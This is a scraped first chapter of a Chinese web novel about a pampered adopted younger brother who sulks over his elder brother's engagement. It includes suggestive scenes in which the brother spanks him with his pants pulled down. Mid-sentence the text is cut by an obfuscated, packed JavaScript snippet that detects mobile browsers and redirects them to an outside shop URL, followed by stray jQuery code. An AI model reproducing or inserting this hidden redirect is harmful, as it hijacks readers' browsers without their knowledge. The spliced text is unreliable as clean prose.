1. 第 1 章
作品:《兄嫂看我的眼神都不对劲》 1
“我不去!我才不要去!”
深灰色大床上,少年手脚并用地撒泼打滚。
滚了几圈,又跳起来扑到男人身上,八爪鱼一样把人缠住,凶巴巴道:“你也不许去!”
“小稚。”
陆屹川有些头疼地揉了揉眉心,“这是我的订婚宴,我不可能不去。”
“我不管!”元稚一双黑眼睛鼓得溜圆,“你今天要是去了,我就再也不认你这个哥哥了!”
男人脸色骤然冷下来。
下一刻,宽大手掌“啪”的一声拍在了少年的屁股上。
“你再说一遍试试。”
元稚瞅着男人结冰的脸,吵嚷的小嘴巴立刻闭上了。
他也就敢在陆屹川面前小发雷霆一下了,他哥要是真生气,他立马怂得跟只鹌鹑一样。
陆屹川叹了口气,抱小孩似的把少年抱到床上,捏了捏他的脸:“你不去也好,乖乖在家等我,晚上回来给你带点心。”
元稚把脑袋别过去:“哼。”
陆屹川卡着他的下巴把这颗小脑袋掰回来:“一会儿下楼把早饭吃了。”
他瞥一眼少年宽大T恤下光溜溜的腿,皱了皱眉:“还有,裤子穿上,晚上家里要来人。”
元稚下巴翘得老高:“哼!”
“听话。”陆屹川揉了把他的脑袋,走了。
元稚站在卧室窗边,望着远处驶出别墅大门的黑色劳斯莱斯,脸上浮现起浓浓的失落。
他的哥哥,陆氏集团的掌权人,今天就要和谢家大少爷订婚了。
元稚是陆家收养的孩子,可这么多年,陆屹川一直把他当亲弟弟对待,连元稚小时候的尿片都是陆屹川亲手换的,他们甚至比许多亲兄弟都要亲密。
但今后,他的哥哥不再只属于他一个人。
每每想到这儿,元稚心里就像是被人挖走了一块儿般难受。
他忽视了管家叫他下去吃饭的声音,噔噔噔跑到陆屹川的卧室里,“啪”的一声关上门。
元稚拉开衣柜,把陆屹川的衣服裤子胡乱扯了一堆出来,撒气一般扔到地上使劲儿踩,跺脚踩,跳起来踩,熨烫得一丝不乱的衬衫被他踩得乱糟糟的,全是褶痕。
踩完了,又从衣柜里翻出几件干净的衬衣和外套,铺在床上,筑窝一样堆起来,然后脑袋一栽,把自己整个儿埋进去。
男人衣服宽大,他身形又瘦,很轻易地就被布料包裹起来,在里面陷成很小的一团。
少年就这么瘦瘦的,小小的,在给自己垒的窝里面哭了。
*
傍晚。
卧室的指纹锁“滴答”一声解锁。
“元稚。”一道如浸寒霜的声音在头顶上方响起。
“嗯...”床上的少年在睡梦中咕哝了一声,翻了个身,把裸露着的一条腿抬起来搭在衣服堆上,又安静下去。
“元、稚。”头顶的声音大了些,似乎携着压抑的怒意。
睡梦中的少年这才不情不愿地掀开眼皮,他揉揉眼睛,看清站在跟前的人后,霎时清醒了。
元稚瞄了眼头顶高大的阴影,下意识想跑,却在看清陆屹川身后的人后停住了动作。
下一刻,他像只灵敏的松鼠一样,从床上跳起来,嗖嗖两下攀上了陆屹川这颗大树。
少年细白的两条胳膊勾着男人的脖子,嗲声嗲气地说:“哥哥~你怎么才回来呀,人家等你好久啦~”
陆屹川眉心抽了抽:“好好说话。”
元稚抱他抱得更紧了:“哎呀~你在说什么呀哥哥,人家平时就是这么说话的呀,你不是最喜欢了吗~”
陆屹川呼吸有些不稳,他竭力忍住想要当场给元稚的屁股一巴掌的冲动,寒声道:“我记得我走之前提醒过你穿裤子。”
元稚用一双水汪汪的圆眼睛望着男人:“我睡着了,忘了嘛,你那么凶干什么。”
他一张脸生得白皙纤小,眼睛却很大,黑溜溜的,像嵌在白玉里的玛瑙石。睫毛长而翘,配上那双圆润杏眼,显得很是纯稚无辜。
任谁被这样一双眼睛巴巴地望着,也会忍不住心软。
何况...那眼皮上的红肿到现在还没消下去,不知白天哭了多久。
陆屹川眸光微动,语气不自觉地软下来:“没有凶你。”
他抱着跟树袋熊一样挂在身上的少年,走到衣柜前,拿出元稚的一条睡裤给他穿上。
薄软的棉质长裤把少年白皙光洁的腿完完全全包裹住,连脚踝也没露出来,男人的脸色这才缓和几分。
陆屹川把元稚放下来,又给把他领口往后拉了拉,才介绍道:“这是谢含玉,以后,他和我们一起住。”
元稚哼了一声:“哦,嫂嫂好。”
他嘴里问着好,眼睛却看向一边,鼻子更是要翘到天上去了,摆明了是没把人放在眼里。
谢含玉视线疏离地看过去。
他刚踏进这一地狼藉的时候,还以为陆屹川卧室是进什么野猫了。现在他知道了,不是野猫,是只被惯坏的家猫。
他像是没注意到元稚的无礼,只淡淡地回道:“弟弟好。”
元稚却突然炸了毛:“谁允许你叫我弟弟了!”
谢含玉:“那我该叫你什么?”
元稚想了想,高傲地一抬下巴:“你要和其他人一样,叫我小少爷。”
在这里,只有管家和仆人才这么叫。如今陆谢两家联姻,虽然还没正式举办婚礼,但谢含玉也算是半个这里的主人了,这种叫法完全就是在羞辱谢含玉,把他当伺候人的仆人。
谢含玉眼底覆上一丝冷意。
一旁的陆屹川见状,道:“他不是那个意思。”
他这个弟弟虽然娇纵了些,但本性不坏,只是少年性子直,有时候容易口无遮拦让人误解。
果然,那头元稚莫名其妙地看着他:“什么什么意思?”
陆屹川摸了下他的脑袋顶:“没你事儿了,回房间玩儿去吧。”
元稚一听这话有些恼:“什么叫没我事儿了?你们要在这间房里做什么?你们是不是要背着我睡一起了!”
陆屹川有些头疼地扶额:“我们不睡一起,他的房间在隔壁。”
元稚狐疑地转了转眼珠子:“骗人!不睡一起你带他来你房间干什么!”
“只是让你们见个面而已。”男人的语气近乎无奈。
元稚哼了一声,勉强算是相信了。
但下一秒,他又凶神恶煞地对谢含玉道:“我警告你,这是我和我哥的房间,你没事不许进来。”
想了想,又说:“不对,你有事也不许进来!听见没!”
谢含玉:“... ...”
懒得与不讲道理的人过多纠缠,他冷冷道:“听见了,小、少、爷。”
元稚哼哼唧唧地走了,路过谢含玉的时候,不知有意还是无意,用肩膀撞了他一下。
谢含玉面色漠然。
心里却在想,好软。
像小猫蹭人。
*
米黄色调的卧室里,元稚正对着镜子仔细瞅自己的眼睛。
眼眶是红的,眼皮是肿的,眼睛里还带着点红血丝。
很好,一眼就能看出来他白天哭了很久。
其实元稚原本没想哭那么久,他才哭了一会儿就有点累了,但想着他哥晚上才回来,怕到时候眼睛都消肿了,硬是掐着大腿逼自己多哭了半小时。
“咕噜~”
被元稚饿了一天的肚子发出响亮的抗议。
他一天没吃东西,一觉醒来后已经饿得前胸贴后背,但元稚就是不下楼吃饭,因为他知道,等会儿他哥一定会端着碗上来喂他。
果然,没一会儿,房门就被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007813|194094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敲响了。
元稚立刻跳到床上,用被子把自己蒙起来,瓮声瓮气地喊道:“我睡了!”
门外响起男人低沉的声音:“你进屋才十分钟。”
元稚:“... ...”
陆屹川:“我数三声,你再不开门,我就让人把你卧室门卸了。”
“一、二——”
元稚咻的一声从床上弹起来把门打开了。
虽然他是爱黏着他哥不错,但他也是有自己的隐私的,他枕头底下藏着的那些男男小漫画可不能被陆屹川发现了。
陆屹川端着热腾腾的饭菜进来,把托盘放桌上,转头对元稚道:“过来。”
“哦。”元稚小步小步地往那边挪。
陆屹川耐心地等着他,然而等元稚挪到床边时,男人突然一把将他拦腰抄起来,摁在膝上,唰地拉下了他的裤子。
连内裤都被剥下来的元稚感到后面一凉,立刻就要挣扎,却被男人有力的手臂牢牢按住。
“啪——”
覆着薄茧的粗糙掌心结结实实落在了他的左半边屁股上。
“这是罚你不吃饭。”
“什——”
“啪——”
元稚还没反应过来,又是响亮的一巴掌打在了他右半边屁股上。
陆屹川声线冰冷地道:“这是罚你不穿裤子。”
这两巴掌只用了三分的力度,并不算很疼,但少年皮肤娇气,屁股上还是留下了两个红彤彤的巴掌印。
元稚愣了两秒,“哇”的一声哭了出来。
“疼!疼死了!陆屹川你凭什么这么打我,我爹都没这么打过我!”
陆屹川:“凭我是你哥。”
元稚说不过他,最重要是打不过,只得咽下这口闷气。
他没好气:“你新婚燕尔不跟嫂嫂待在一起跑我这儿来干什么,就为了打我屁股?”
陆屹川重新把裤子给他穿好,凉凉道:“我不来,你自己会主动吃饭?”
元稚噎了一下。
他这点儿小心思真是被他哥看得明明白白。
陆屹川:“以后,不许在外人面前不穿裤子。”
元稚阴阳怪气:“那不是我嫂嫂吗,怎么能算外人呢,反正都是一家人,我就算天天光着腿给他看又怎么了。”
陆屹川目光寒凉:“你屁股不疼了是不是?”
元稚立刻从男人身上溜下来,捂着屁股在床上跳开三米远。
陆屹川:“过来。”
元稚不动。
陆屹川叹口气:“过来,喂你吃饭。”
元稚这才慢吞吞爬过去。
陆屹川端着碗喂了他几口,忽然道:“你不用叫谢含玉嫂嫂。”
元稚嘴里嚼着脆嫩鲜香的虾仁,觉得这话有些奇怪,但没多想,条件反射地跟陆屹川对着干,含含糊糊说:“你管我叫什么。”
陆屹川:“... ...”
“算了,随你。”
“还有,”陆屹川声线微冷,“你既然不喜欢他,平时就少跟他接触。”
别有事没事就往不相干的男人身上蹭。
元稚没接话,心里却想,他哥果然还是护着那个外人。让他少跟谢含玉接触,不就是怕他欺负谢含玉吗。
可他偏不。
陆屹川其实也没有那么了解他,元稚想。
他其实远比陆屹川想象得要坏。
就比如,他今天不是忘记穿裤子,是故意不穿裤子的,他就是要让谢含玉知道,他才是他哥最亲近的人。刚才看着谢含玉那张表情难看的脸,他心里别提有多爽了。
再比如,他刚刚那句话,就是在故意羞辱谢含玉,就是把谢含玉当做伺候他的仆人,他不仅嘴上这么说,他以后还要这么做。
元稚恶狠狠地想,他要让谢含玉在这里待不下去,自己滚出这个家。

